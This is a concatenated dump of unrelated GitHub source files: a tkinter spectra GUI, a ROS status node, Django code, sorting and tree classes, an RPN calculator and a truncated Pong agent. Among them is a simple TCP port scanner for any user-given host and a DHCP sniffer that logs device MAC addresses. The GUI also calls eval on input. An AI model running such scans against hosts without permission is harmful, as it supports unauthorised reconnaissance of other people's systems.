)\n\n self.make_horizontal_dividers(self, rows=[1, 3, 5], col=3)\n self.make_vertical_divider(self, col=2)\n\n # for child in self.winfo_children():\n # # child.grid_configure(padx=3, pady=3)\n # for grandchild in child.winfo_children():\n # grandchild.grid_configure(padx=padding, pady=padding)\n\n def reset_baseline_widgets(self, bir_amount):\n widget = self.nametowidget(\"interference\").nametowidget(\"baseline\")\n widget.make_bir_widgets(bir_amount)\n\n def draw_plot(self, plot):\n fig = plot.fig\n rows = self.grid_size()[1]\n self.canvas = FigureCanvasTkAgg(fig, self)\n self.canvas.draw()\n self.canvas.get_tk_widget().grid(row=0, column=0, rowspan=rows, sticky=(\"nesw\"))\n\n # Plot navigation toolbar\n toolbar = vertical_toolbar(self.canvas, self)\n # Don't pack 'configure subplots' and 'save figure'\n toolbar.children[\"!button4\"].pack_forget()\n # toolbar.children[\"!button5\"].pack_forget()\n toolbar.update()\n toolbar.grid(row=0, column=1, sticky=\"nw\")\n\n def make_vertical_divider(self, parent, col):\n rows = parent.grid_size()[1]\n ttk.Separator(self, orient=tk.VERTICAL).grid(\n row=0, column=col, rowspan=rows, sticky=(\"ns\")\n )\n\n def make_horizontal_dividers(self, parent, rows: List[int], col: int):\n for row in rows:\n ttk.Separator(parent, orient=tk.HORIZONTAL).grid(\n row=row, column=col, sticky=(\"new\")\n )\n\n def make_interference_frame(\n self, parent, name, widgets, variables, row: int, col: int\n ):\n\n frame = ttk.Frame(parent, name=name)\n frame.grid(row=row, column=col, sticky=\"nesw\")\n for i in range(2):\n frame.columnconfigure(i, weight=1)\n\n tk.Label(frame, text=\"Interference\", font=(_font, _fontsize_head, \"bold\")).grid(\n row=0, column=0, columnspan=2, sticky=(\"nsw\")\n )\n\n load_button = ttk.Button(\n frame,\n text=\"load\",\n state=tk.DISABLED,\n name=\"load_interference\",\n command=on_load_interference.send,\n )\n load_button.grid(row=1, column=0, sticky=\"nesw\")\n\n remove_button = ttk.Button(\n frame,\n text=\"remove\",\n state=tk.DISABLED,\n name=\"remove_interference\",\n command=on_remove_interference.send,\n )\n remove_button.grid(row=1, column=1, sticky=\"nesw\")\n\n widgets[\"load_spectrum\"] = load_button\n widgets[\"remove_spectrum\"] = remove_button\n\n tk.Label(self, text=\"Baseline\", font=(_font, _fontsize_head, \"bold\")).grid(\n row=2, column=0, columnspan=2, sticky=(\"nsw\")\n )\n\n baseline_interpolation = Baseline_interpolation_frame(\n parent=frame,\n name=name,\n widgets=widgets,\n variables=variables,\n bir_amount=5,\n min_regions=2,\n width=\"8c\",\n )\n baseline_interpolation.grid(row=3, column=0, columnspan=2, sticky=\"nesw\")\n\n for child in frame.winfo_children():\n child.grid_configure(padx=padding, pady=padding)\n for grandchild in child.winfo_children():\n grandchild.grid_configure(padx=padding, pady=padding)\n\n def make_deconvolution_frame(\n self, name, parent, widgets, variables, row: int, col: int\n ):\n\n frame = ttk.Frame(parent, name=name)\n frame.grid(row=row, column=col, sticky=\"nesw\")\n\n tk.Label(\n frame, text=\"Deconvolution\", font=(_font, _fontsize_head, \"bold\")\n ).grid(row=0, column=0, sticky=(\"nsw\"))\n\n labels = [\n \"min. peak height\",\n \"fit window\",\n \"residuals threshold (%)\",\n \"max iterations\",\n ]\n names = [\"peak_height\", \"fit_window\", \"residuals_threshold\", \"max_iterations\"]\n limits = [[1, np.Inf], [1, 50], [1, 100], [1, 20]]\n dtypes = [int, int, float, int]\n\n for i, (label, var_name, limit, dtype) in enumerate(\n zip(labels, names, limits, dtypes)\n ):\n text_label = ttk.Label(frame, text=label, width=20, font=(_font, _fontsize))\n text_label.grid(row=i + 1, column=0, sticky=\"esw\")\n\n validate_func = partial(\n validate_widget_input,\n accepted_range=limit,\n group=\"deconvolution\",\n name=var_name,\n widgets=widgets,\n variables=variables,\n dtype=dtype,\n )\n invalid_func = partial(\n invalid_widget_input,\n name=var_name,\n widgets=widgets,\n variables=variables,\n )\n var = tk.StringVar()\n entry = ttk.Entry(\n frame,\n validate=\"focusout\",\n validatecommand=(frame.register(validate_func), \"%P\"),\n invalidcommand=(frame.register(invalid_func), r\"%s\"),\n width=4,\n background=\"white\",\n font=(_font, _fontsize),\n state=tk.DISABLED,\n )\n entry.grid(row=i + 1, column=1, sticky=\"nesw\")\n\n widgets[var_name] = entry\n variables[var_name] = var\n\n deconvolve_button = ttk.Button(\n frame,\n text=\"deconvolve\",\n state=tk.DISABLED,\n name=\"deconvolve\",\n command=on_deconvolve_interference.send,\n )\n deconvolve_button.grid(row=5, column=0, columnspan=2, sticky=\"ns\")\n\n self.deconvolution_widgets[\"deconvolve_spectrum\"] = deconvolve_button\n\n for i in range(2):\n frame.columnconfigure(i, weight=1)\n\n for child in frame.winfo_children():\n child.grid_configure(padx=padding, pady=padding)\n\n def make_subtraction_frame(\n self, parent, name, widgets, variables, row: int, col: int\n ):\n self.subtraction_regions = Baseline_interpolation_regions(\n widgets, variables, name=\"subtraction\"\n )\n\n frame = ttk.Frame(parent, name=name)\n frame.grid(row=row, column=col, sticky=\"nesw\")\n for i in range(2):\n frame.columnconfigure(i, weight=1)\n\n tk.Label(frame, text=\"Subtract\", font=(_font, _fontsize_head, \"bold\")).grid(\n row=0, column=0, columnspan=2, sticky=(\"nsw\")\n )\n\n tk.Label(\n frame,\n text=\"minimisation interval\",\n font=(_font, _fontsize_head),\n ).grid(row=1, column=0, columnspan=2, sticky=(\"nsw\"))\n\n for i in range(2):\n var = tk.StringVar()\n\n entry = ttk.Entry(\n frame,\n validate=\"focusout\",\n validatecommand=(\n parent.register(\n partial(self.subtraction_regions.validate_bir_input, index=i)\n ),\n r\"%P %s %W\",\n ),\n invalidcommand=(\n parent.register(\n partial(self.subtraction_regions.invalid_bir_input, index=i)\n ),\n r\"%s %P\",\n ),\n width=4,\n background=\"white\",\n font=(_font, _fontsize),\n state=tk.DISABLED,\n )\n entry.grid(row=2, column=i, sticky=(\"nesw\"))\n\n self.subtraction_regions.add_bir(index=i, widget=entry, variable=var)\n\n ttk.Label(\n frame,\n text=\"smoothing\",\n font=(_font, _fontsize_head),\n ).grid(row=3, column=0, sticky=(\"nsw\"))\n\n var = tk.StringVar(name=\"smoothing\")\n entry = ttk.Spinbox(\n frame,\n from_=0.1,\n to=100,\n increment=0.1,\n # textvariable=var,\n validate=\"focusout\",\n validatecommand=(\n parent.register(self.subtraction_regions.validate_smoothing),\n \"%P\",\n ),\n invalidcommand=(\n parent.register(self.subtraction_regions.invalid_smoothing),\n r\"%s\",\n ),\n width=5,\n background=\"white\",\n font=(_font, _fontsize),\n state=tk.DISABLED,\n name=name,\n )\n entry.grid(row=3, column=1, sticky=(\"nesw\"))\n\n self.subtraction_regions.add_smoothing(widget=entry, variable=var)\n\n spectrum_selection = tk.StringVar(value=\"baseline_corrected\")\n spectra = (\"baseline_corrected\", \"deconvoluted\")\n names = (\"baseline*\", \"deconvoluted\")\n for i, (spectrum, name) in enumerate(zip(spectra, names)):\n radio = ttk.Radiobutton(\n frame,\n text=name,\n variable=spectrum_selection,\n value=spectrum,\n command=partial(\n set_value_from_widget,\n variable=spectrum_selection,\n group=\"subtraction\",\n name=\"spectrum\",\n ),\n state=tk.DISABLED,\n )\n radio.grid(row=4, column=i)\n widgets[spectrum] = radio\n variables[\"spectrum\"] = spectrum_selection\n\n subtract_button = ttk.Button(\n frame,\n text=\"subtract\",\n state=tk.DISABLED,\n name=\"subtract\",\n command=on_subtract_interference.send,\n )\n subtract_button.grid(row=5, column=0, sticky=\"ns\")\n\n widgets[\"subtract_interference\"] = subtract_button\n\n self.make_use_checkbutton(\n parent=frame, variables=variables, widgets=widgets, row=5, col=1\n )\n\n for child in frame.winfo_children():\n child.grid_configure(padx=padding, pady=padding)\n\n def make_use_checkbutton(self, parent, variables, widgets, row, col):\n var = tk.BooleanVar(value=False)\n checkbutton = ttk.Checkbutton(\n parent,\n text=\"use\",\n variable=var,\n onvalue=True,\n offvalue=False,\n command=lambda: on_set_processing.send(\n type=\"interference_corrected\", value=var.get()\n ),\n state=tk.DISABLED,\n )\n\n checkbutton.grid(row=row, column=col, sticky=\"ns\")\n\n variables[\"use\"] = var\n widgets[\"use\"] = checkbutton\n\n def send_spectrum_processing(self, variable, type: str):\n value = eval(variable.get())\n on_set_processing.send(type=type, value=value)\n","repo_name":"TDGerve/silicH2O","sub_path":"src/interface/windows/Interference.py","file_name":"Interference.py","file_ext":"py","file_size_in_byte":13244,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"39257950317","text":"#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import Int32\n\nimport subprocess\n\ndef get_service_status(service_name):\n cmd = ['systemctl', 'is-active', service_name]\n try:\n subprocess.check_output(cmd)\n return 1\n except subprocess.CalledProcessError:\n return 0\n\ndef main():\n # Initialize ROS node\n rospy.init_node('system_status')\n rospy.loginfo(f\"Running System Status Node...\")\n\n # Create publishers\n motion_pub = rospy.Publisher('/motion_status', Int32, queue_size=10)\n display_pub = rospy.Publisher('/display_status', Int32, queue_size=10)\n bridge_pub = rospy.Publisher('/rosbridge_status', Int32, queue_size=10)\n\n rate = rospy.Rate(5) # 5 Hz\n\n while not rospy.is_shutdown():\n # Get service status\n motion_status = get_service_status('motion')\n display_status = get_service_status('display')\n rosbridge_status = get_service_status('rosbridge')\n\n # Publish status messages\n motion_pub.publish(motion_status)\n display_pub.publish(display_status)\n bridge_pub.publish(rosbridge_status)\n\n rate.sleep()\n\nif __name__ == '__main__':\n main()\n","repo_name":"mvnd06/spotmicro","sub_path":"system_status/scripts/system_status.py","file_name":"system_status.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"5451587914","text":"# -*- coding: utf-8; indent-tabs-mode: t; tab-width: 4 -*-\n\nimport cairo, sys\nfrom gi.repository import Pango\n\nclass _Preference(dict):\n\tdef __setattr__(self, name, value):\n\t\timport cairo\n\t\tfrom gi.repository import Pango\n\t\tif isinstance(self.pref_dict[name], Pango.FontDescription):\n\t\t\tself.pref_dict[name] = Pango.FontDescription(value)\n\t\telif isinstance(self.pref_dict[name], cairo.Pattern):\n\t\t\ttry:\n\t\t\t\trgb = value.split(\",\")\n\t\t\t\tself.pref_dict[name] = cairo.SolidPattern(float(rgb[0]), float(rgb[1]), float(rgb[2]))\n\t\t\texcept ValueError:\n\t\t\t\tself.pref_dict[name] = cairo.SolidPattern(0.0, 0.0, 0.0)\n\t\telif isinstance(self.pref_dict[name], int):\n\t\t\tself.pref_dict[name] = int(value)\n\t\telif isinstance(self.pref_dict[name], float):\n\t\t\tself.pref_dict[name] = float(value)\n\n\tdef __getattr__(self, name):\n\t\treturn self.pref_dict[name]\n\t\n\tdef __getitem__(self, __k):\n\t\treturn self.pref_dict.get(__k, None)\n\n\tpref_dict = {\n\t\t'_red': \tcairo.SolidPattern(1.0, 0.0, 0.0),\n\t\t'_green':\tcairo.SolidPattern(0.0, 1.0, 0.0),\n\t\t'_blue': \tcairo.SolidPattern(0.0, 0.0, 1.0),\n\t\t'_yellow': \tcairo.SolidPattern(1.0, 1.0, 0.0),\n\n\t\t\"drawing_font\": Pango.FontDescription(\"Liberation Mono 10\"),\n\t\t\"net_color\": cairo.SolidPattern(0.0, 0.0, 1.0),\n\t\t\"net_high_color\": cairo.SolidPattern(0.5, 0.5, 1.0),\n\t\t\"net_color_running\": cairo.SolidPattern(0.0, 0.0, 0.0),\n\t\t\"component_color\": cairo.SolidPattern(0.0, 1.0, 0.0),\n\t\t\"component_high_color\": cairo.SolidPattern(0.5, 1.0, 0.5),\n\t\t\"component_color_running\": cairo.SolidPattern(0.0, 0.0, 0.0),\n\t\t\"selected_color\": cairo.SolidPattern(1.0, 1.0, 1.0),\n\t\t\"cursor_color\": cairo.SolidPattern(1.0, 1.0, 1.0),\n\t\t\"terminal_color\": cairo.SolidPattern(1.0, 0.0, 0.0),\n\t\t\"preadd_color\": cairo.SolidPattern(1.0, 0.75, 0.0),\n\t\t\"picked_color\": cairo.SolidPattern(1.0, 0.5, 0.0),\n\t\t\"terminal_color_running\": cairo.SolidPattern(0.0, 0.0, 0.0),\n\t\t\"highlevel_color\": cairo.SolidPattern(1.0, 0.0, 0.0),\n\t\t\"lowlevel_color\": cairo.SolidPattern(0.0, 0.0, 1.0),\n\t\t\"bg_color\": cairo.SolidPattern(0.0, 0.0, 0.0),\n\t\t\"bg_color_running\": cairo.SolidPattern(1.0, 1.0, 1.0),\n\t\t\"grid_color\": cairo.SolidPattern(0.15, 0.12, 0.15),\n\t\t\"symbol_type\": 0, # 0: MIL/ANSI 1: IEC\n\t\t\"max_calc_iters\": 10000,\n\t\t\"max_calc_duration\": 0.0002\n\t}\n\n\tdef load_settings(self):\n\t\timport os\n\t\tfrom ggate import const\n\t\ttry:\n\t\t\tfp = open(os.path.join(const.config_path, \"preferences\"), mode=\"r\", encoding=\"utf-8\")\n\t\texcept TypeError:\n\t\t\timport codecs\n\t\t\tfp = codecs.open(os.path.join(const.config_path, \"preferences\"), mode=\"r\", encoding=\"utf-8\")\n\t\texcept IOError:\n\t\t\treturn\n\t\tfor l in fp:\n\t\t\tpref = l.split(\"=\")\n\t\t\tif len(pref) != 2:\n\t\t\t\tcontinue\n\t\t\tif pref[0] in self.pref_dict:\n\t\t\t\tself.__setattr__(pref[0], pref[1])\n\n\tdef save_settings(self):\n\t\timport cairo, os\n\t\tfrom ggate import const\n\t\tfrom gi.repository import Pango\n\t\ttry:\n\t\t\tif not os.path.isdir(const.config_path):\n\t\t\t\tos.makedirs(const.config_path)\n\t\t\tfp = open(os.path.join(const.config_path, \"preferences\"), mode=\"w\", encoding=\"utf-8\")\n\t\texcept IOError:\n\t\t\treturn\n\t\tfor key in self.pref_dict:\n\t\t\tif isinstance(self.pref_dict[key], Pango.FontDescription):\n\t\t\t\tfp.write(\"%s=%s\\n\" % (key, self.pref_dict[key].to_string()))\n\t\t\telif isinstance(self.pref_dict[key], cairo.Pattern):\n\t\t\t\trgba = self.pref_dict[key].get_rgba()\n\t\t\t\tfp.write(\"%s=%f,%f,%f\\n\" % (key, rgba[0], rgba[1], rgba[2]))\n\t\t\telif isinstance(self.pref_dict[key], int):\n\t\t\t\tfp.write(\"%s=%d\\n\" % (key, self.pref_dict[key]))\n\t\t\telif isinstance(self.pref_dict[key], float):\n\t\t\t\tfp.write(\"%s=%.9f\\n\" % (key, self.pref_dict[key]))\n\t\tfp.close()\n\nsys.modules[__name__] = _Preference()\n\n","repo_name":"astraldev/GGate","sub_path":"ggate/Preference.py","file_name":"Preference.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"12061509552","text":"from ensembl_metadata.models.genome import Division\n\n\nclass DivisionUtils(object):\n\n @classmethod\n def get_all_division_names(cls, eg_only=False):\n division = Division.objects.all()\n\n if division is not None:\n if eg_only is True:\n all_divisions = list(division.values_list('name', flat=True))\n eg_only_divisions = [div for div in all_divisions if div.lower() not in ['ensembl', 'ensemblgenomes']]\n return eg_only_divisions\n else:\n return list(division.values_list('name', flat=True))\n\n return None\n\n @classmethod\n def get_all_division_short_names(cls, eg_only=False):\n division = Division.objects.all()\n\n if division is not None:\n if eg_only is True:\n pass\n else:\n return list(division.values_list('short_name', flat=True))\n\n return None\n","repo_name":"Ensembl/ensembl-metadata-registry","sub_path":"ensembl_metadata/utils/division.py","file_name":"division.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"32780467975","text":"# 如果类属性是带有双下划线的，则不能在外部调用此属性，但是可以在类的内部使用\n\nclass Person(object):\n \n __count = 0\n\n def __init__(self, name):\n Person.__count += 1\n self.name = name\n print(Person.__count)\n\np1 = Person('Bob')\np2 = Person('Alice')\n\ntry:\n print(Person.__count)\nexcept AttributeError as error:\n print('AttributeError: %s' % error)","repo_name":"874656645/HelloWorld","sub_path":"Python/Learning/类属性权限访问.py","file_name":"类属性权限访问.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71231428350","text":"import socket\nimport time\nimport dao\nfrom functools import reduce\nimport operator\n\n#run with sudo, else port 67 is not allowed.\n\nLESS_IP = \"\"\nLESS_PORT = 2880\n\nUDP_IP = \"\"\nUDP_PORT = 2880\nDHCP_PORT = 67\nUDP_RECEIVE_LENGTH = 1024\n\nbroadcastSocket = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\n\n# Enable broadcasting mode\nbroadcastSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n\nlisteningSocket = socket.socket(socket.AF_INET, # Internet\n socket.SOCK_DGRAM) # UDP\nlisteningSocket.bind((UDP_IP, DHCP_PORT))\n\noutFile = open(\"dhcpOut.txt\",\"w\")\noutFile.write(\"\")\noutFile.close()\nerrFile = open(\"errorLog67.txt\",\"w\")\nerrFile.write(\"\")\nerrFile.close()\n\nwhile True:\n \n data, addr = listeningSocket.recvfrom(UDP_RECEIVE_LENGTH) # buffer size is 1024 bytes\n print (\"received message.\")\n print (\"length of data: \" , len(data))\n try:\n MAC_ADDR = \"{0:x}:{1:x}:{2:x}:{3:x}:{4:x}:{5:x}\".format(data[28],data[29],data[30],data[31],data[32],data[33])# 28-33\n pass\n except TypeError:\n print(\"****************TYPE ERROR**********\")\n errFile = open(\"errorLog67.txt\",\"ab\")\n errFile.write(data)\n errFile.close()\n errFile = open(\"errorLog67.txt\",\"a\")\n errFile.write(\"\\n\")\n errFile.close()\n pass\n else: \n print(MAC_ADDR)\n print (\"options: \", data[236:])\n\n watched = dao.dao(dao.MacInfo('select',None,None,None,\"select * from address_book where mac = '{}'\".format(MAC_ADDR)))\n \n #notify listening devices\n if watched is None:\n broadcastSocket.sendto(MAC_ADDR.encode(),(LESS_IP,LESS_PORT))\n else:\n if watched[1] == 1:\n print(\"Watching: {}\".format(watched))\n msg = \"{} **watch** has connected to your WI-FI\".format(watched[2])\n broadcastSocket.sendto(msg.encode(),(LESS_IP,LESS_PORT))\n else:\n print(\"Ignoring: \" + watched[2])\n\n\n #leave a trace\n outFile = open(\"dhcpOut.txt\",\"a\") \n outFile.write(time.asctime(time.localtime()))\n outFile.write(MAC_ADDR)\n outFile.close()\n \n \n","repo_name":"despaink/PythonCode-LessUI","sub_path":"dhcpListener.py","file_name":"dhcpListener.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18399316498","text":"#!/usr/bin/python3\n\nfrom sorters.sort_base import sort_base\nfrom sort_util.data_tools import data_store\n\n\nclass merge_sort(sort_base):\n def __init__(self) -> None:\n super().__init__()\n\n def name(self) -> str:\n return 'Merge'\n\n def _do_sort(self, data: data_store) -> None:\n self.__merge_sort(data, 0, data.size() - 1)\n\n def __merge_sort(self, data: data_store, left: int, right: int) -> None:\n if left < right:\n mid = int(left + (right - left) / 2)\n self.__merge_sort(data, left, mid)\n self.__merge_sort(data, mid + 1, right)\n self.__merge(data, left, mid, right)\n\n def __merge(self, data: data_store, start: int, mid: int, end: int) -> None:\n start2 = mid + 1\n if(data[mid] <= data[start2]):\n return\n while start <= mid and start2 <= end:\n if data.is_less_than(start, start2):\n start += 1\n else:\n data.move(start2, start)\n start += 1\n mid += 1\n start2 += 1\n","repo_name":"jconstam/a_sorted_affair","sub_path":"sorters/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1846777934","text":"import time\nimport socket\nimport itertools\nimport sys\nimport threading\nimport pyfiglet\nHOST = input(\"Enter the target url : \")\nPORT = range(1024)\nDONE = False\n\ntitle = pyfiglet.figlet_format(\"Scanner\")\nprint(title)\n \nprint(\"-\"*50)\nprint(\"Scanning Target : \" , socket.gethostbyname(HOST))\nprint(\"-\"*50)\n\ndef animate():\n for i in itertools.cycle(['|', '/', '-']):\n if DONE:\n break\n sys.stdout.write(\"\\r scanning...\" + i)\n sys.stdout.flush()\n time.sleep(0.1)\n sys.stdout.write('\\r Done')\n \ndef scan(host, port):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.settimeout(3)\n\n try:\n s.connect((host, port))\n return True\n except:\n return False\n\ndef start(host, ports):\n for port in ports:\n if scan(host, port):\n print(f'port {port} is open')\n DONE = True\n\nt = threading.Thread(target=animate)\nt.start()\nstart(HOST, PORT)\n","repo_name":"jinn231/Hacking-Tool","sub_path":"port-scanner.py","file_name":"port-scanner.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32093191733","text":"\"\"\"\nbinary search tree class\n\"\"\"\n\n\nclass Node:\n \"\"\"\n class for nodes\n \"\"\"\n def __init__(self,pair):\n self.pair = pair\n self.left = None\n self.right = None\n self.parent = None\n \n\nclass BST:\n \"\"\"\n class for the binary search tree\n \"\"\"\n def __init__(self):\n \"\"\"\n initializer\n \"\"\"\n self.root = None\n self.lyst = []\n\n\n def is_empty(self):\n \"\"\"\n docstring\n \"\"\"\n if self.root:\n return False\n return True\n\n\n def size(self):\n \"\"\"\n Return the number of items in the tree.\n \"\"\"\n return len(self.inorder())\n\n\n def height(self):\n \"\"\"\n Return the height of the tree, which is the length \n of the path from the root to its deepest leaf. \n \"\"\"\n return(self.height_recurser(self.root))\n \n\n def height_recurser(self,node):\n \"\"\"\n does the recursion for height()\n \"\"\"\n if node is None:\n return 0\n leftHeight = self.height_recurser(node.left)\n rightHeight = self.height_recurser(node.right)\n return 1 + max(leftHeight,rightHeight)\n\n\n def add(self,item):\n \"\"\"\n Add item to its proper place in the tree. Return the modified tree. \n \"\"\"\n new = Node(item)\n if self.root is None:\n self.root = new\n else:\n current = self.root\n while current is not None:\n if new.pair.letter < current.pair.letter:\n if current.left is None:\n current.left = new\n current = None\n else:\n current = current.left\n else:\n if current.right is None:\n current.right = new\n current = None\n else:\n current = current.right \n return self\n\n\n def remove(self,item):\n \"\"\"\n Remove item from the tree. Return the modified tree.\n \"\"\"\n parent = None\n current = self.root\n while current is not None:\n if current.pair.letter == item.letter:\n if (current.left is None) and (current.right is None):\n if parent is None:\n self.root = None\n elif parent.left == current:\n parent.left = None\n else:\n parent.right = None\n elif current.right is None:\n if parent is None:\n self.root = current.left\n elif parent.left == current:\n parent.left = current.left\n else:\n parent.right = current.left\n elif current.left is None:\n if parent is None:\n self.root = current.right\n elif parent.left == current:\n parent.left = current.right\n else:\n parent.right = current.right\n else:\n successor = current.right\n while successor.left is not None:\n successor = successor.left\n successor_pair = successor.pair\n self.remove(successor_pair)\n current.pair = successor_pair\n return None\n elif current.pair.letter < item.letter:\n parent = current\n current = current.right\n else:\n parent = current\n current = current.left\n return None\n\n \n def find(self,item):\n \"\"\"\n Return the matched item. If item is not in the tree, raise a ValueError.\n \"\"\"\n current = self.root\n while current is not None:\n if item.letter == current.pair.letter:\n return current.pair\n elif item.letter < current.pair.letter:\n current = current.left\n else:\n current = current.right\n raise ValueError\n\n\n def inorder(self):\n \"\"\"\n Return a lyst with the data items in order of inorder traversal.\n \"\"\"\n self.lyst = []\n self.inorder_recurser(self.root)\n return self.lyst\n \n\n def inorder_recurser(self,node):\n \"\"\"\n does recursion for inorder\n \"\"\"\n if node is None:\n return\n self.inorder_recurser(node.left)\n self.lyst.append(node.pair)\n self.inorder_recurser(node.right)\n \n\n def preorder(self):\n \"\"\"\n Return a list with the data items in order of preorder traversal.\n \"\"\"\n self.lyst = []\n self.preorder_recurser(self.root)\n return self.lyst\n\n\n def preorder_recurser(self,node):\n \"\"\"\n does recursion for preorder\n \"\"\"\n if node is None:\n return\n self.lyst.append(node.pair)\n self.preorder_recurser(node.left)\n self.preorder_recurser(node.right)\n\n\n def postorder(self):\n \"\"\"\n Return a list with the data items in order of postorder traversal.\n \"\"\"\n self.lyst = []\n self.postorder_recurser(self.root)\n return self.lyst\n\n\n def postorder_recurser(self,node):\n \"\"\"\n does recursion for postorder\n \"\"\"\n if node is None:\n return\n self.postorder_recurser(node.left)\n self.postorder_recurser(node.right)\n self.lyst.append(node.pair)\n\n\n def rebalance(self):\n \"\"\"\n rebalance the tree. Return the modified tree.\n \"\"\"\n lyst = self.inorder()\n self.root = None\n self.rebalance_recurser(lyst)\n return self\n \n\n def rebalance_recurser(self,lyst):\n \"\"\"\n docstring\n \"\"\"\n if lyst == []:\n return\n mid = len(lyst)//2\n self.add(lyst[mid])\n self.rebalance_recurser(lyst[0:mid])\n self.rebalance_recurser(lyst[mid+1:len(lyst)])","repo_name":"charles-skinner/Python-School-Projects","sub_path":"CS2420/P 5/bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":6192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18743386168","text":"#Nabin Shrestha\r\n#1001746226\r\n#11/10/2020\r\n#WindowsOS\r\n\r\noperators = ['+', '-', '/', '*'] #4 operators\r\ndef action(char): # checking for the operators (+ - / * )\r\n if char in operators:\r\n return True\r\n return False\r\ndef take_action(opt, v1, v2): # passing operators and numbers\r\n result = 0\r\n if opt == \"+\":\r\n result = v1 + v2 # for addition\r\n if opt == \"-\":\r\n result = v1 - v2 # for subtraction\r\n if opt == \"*\":\r\n result = v1 * v2 # for multiplication\r\n if opt == \"/\":\r\n result = v1 / v2 # for division\r\n return result\r\ndef RNP(array): # for RPN calculation\r\n i = 0\r\n new_array = []\r\n new_array2 = array\r\n new_array2_length = len(new_array2)\r\n if new_array2_length <= 2:\r\n return new_array2[0]\r\n while new_array2_length > 2:\r\n if i+2 < new_array2_length and action(new_array2[i+2]):\r\n v1 = int(new_array2[i])\r\n v2 = int(new_array2[i+1])\r\n opt = new_array2[i+2]\r\n result = str(take_action(opt, v1, v2)) # converting int to string\r\n new_array.append(result) # pushes the array\r\n if i + 3 < new_array2_length:\r\n new_array.extend(new_array2[i+3:new_array2_length]) # adds the element to the end of the current list\r\n new_array2 = new_array\r\n new_array2_length = len(new_array2)\r\n new_array = []\r\n i = 0\r\n x = \" \"\r\n print(x.join(new_array2)) #displays RPN notation\r\n else:\r\n new_array.append(new_array2[i]) #pushes the array\r\n i = i + 1\r\n return new_array2[0]\r\ndef main():\r\n fileopen = open(\"input_RPN.txt\", 'r') # opening file \r\n reads = fileopen.readlines() # reading file\r\n for readline in reads:\r\n readline = readline.rstrip(\"\\n\") # removes character at the end of string.\r\n print(readline)\r\n result = RNP(readline.split(\" \")) #splitting the given string\r\n print('your answer is :', result)\r\n \r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"nabin1996/cse3302","sub_path":"nxs6226_lab2.py","file_name":"nxs6226_lab2.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30652661923","text":"from meeting import views\n\nfrom django.urls import path\n\nurlpatterns = [\n path('',\n views.MeetingView.as_view(),), # /meeting/ 모임 글 작성, 목록\n path('/',\n views.MeetingDetialView.as_view(),), # /meeting// 모임 글 상세, 수정, 삭제\n path('/bookmark/',\n views.MeetingBookmarkView.as_view(),), # /meeting//bookmark/ 모임 글 북마크\n path('/join_meeting/',\n views.MeetingJoinMeetingView.as_view(),),\n path('/comment/',\n views.MeetingCommentView.as_view(),), # /meeting//comment/ 모임 댓글 작성, 목록\n path('/comment//',\n views.MeetingCommentDetailView.as_view(),), # /meeting//comment// 모임 댓글 수정 삭제\n path('/comment//reply/',\n views.MeetingCommentReplyView.as_view(),), # /meeting//comment//reply/ 모임 대댓글 작성, 목록\n path('/comment/reply//',\n views.MeetingCommentReplyDetailView.as_view(),), # /meeting//comment/reply// 모임 대댓글 수정 삭제 \n path('search_title/',\n views.MeetingTitleSearchView.as_view(),), #/meeting/search_api/?search=키워드 -모임 글에서 제목을 검색\n path('search_content/',\n views.MeetingContentSearchView.as_view(),), #/meeting/search_api/?search=키워드 -모임 글에서 내용을 검색\n path('search_user/',\n views.MeetingUserSearchView.as_view(),), #/meeting/search_api/?search=키워드 -모임 글에서 작성자를 검색\n path('search_city/',\n views.MeetingCitySearchView.as_view(),),\n path('my_create_meeting/',\n views.MyCreateMeetingView.as_view(),), #/meeting/my_create_meeting/ 내가 작성한 모임 글 리스트\n path('/meeting_image//',\n views.MeetingImageDetailView.as_view(),), #/meeting//meeting_image/ 이미지 삭제\n path('my_join_meeting_list/',\n views.MyJoinMeetingListView.as_view(),),\n] ","repo_name":"ChaeYami/ConnectMe_BE","sub_path":"meeting/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"30822675143","text":"#\nimport numpy as np\nimport torch\n#\nfrom apps.drl.c06.app_config import AppConfig\n\nclass PongAgent:\n def __init__(self, env, exp_buffer):\n self.env = env\n self.exp_buffer = exp_buffer\n self._reset()\n\n def _reset(self):\n self.state = self.env.reset()\n self.total_reward = 0.0\n\n @torch.no_grad()\n def play_step(self, net, epsilon=0.0, device=\"cpu\"):\n done_reward = None\n\n if np.random.random() < epsilon:\n action = self.env.action_space.sample()\n else:\n state_a = np.array([self.state], copy=False)\n state_v = torch.tensor(state_a).to(device)\n q_vals_v = net(state_v)\n _, act_v = torch.max(q_vals_v, dim=1)\n action = int(act_v.item())\n\n # do step in the environment\n new_state, reward, is_done, _ = 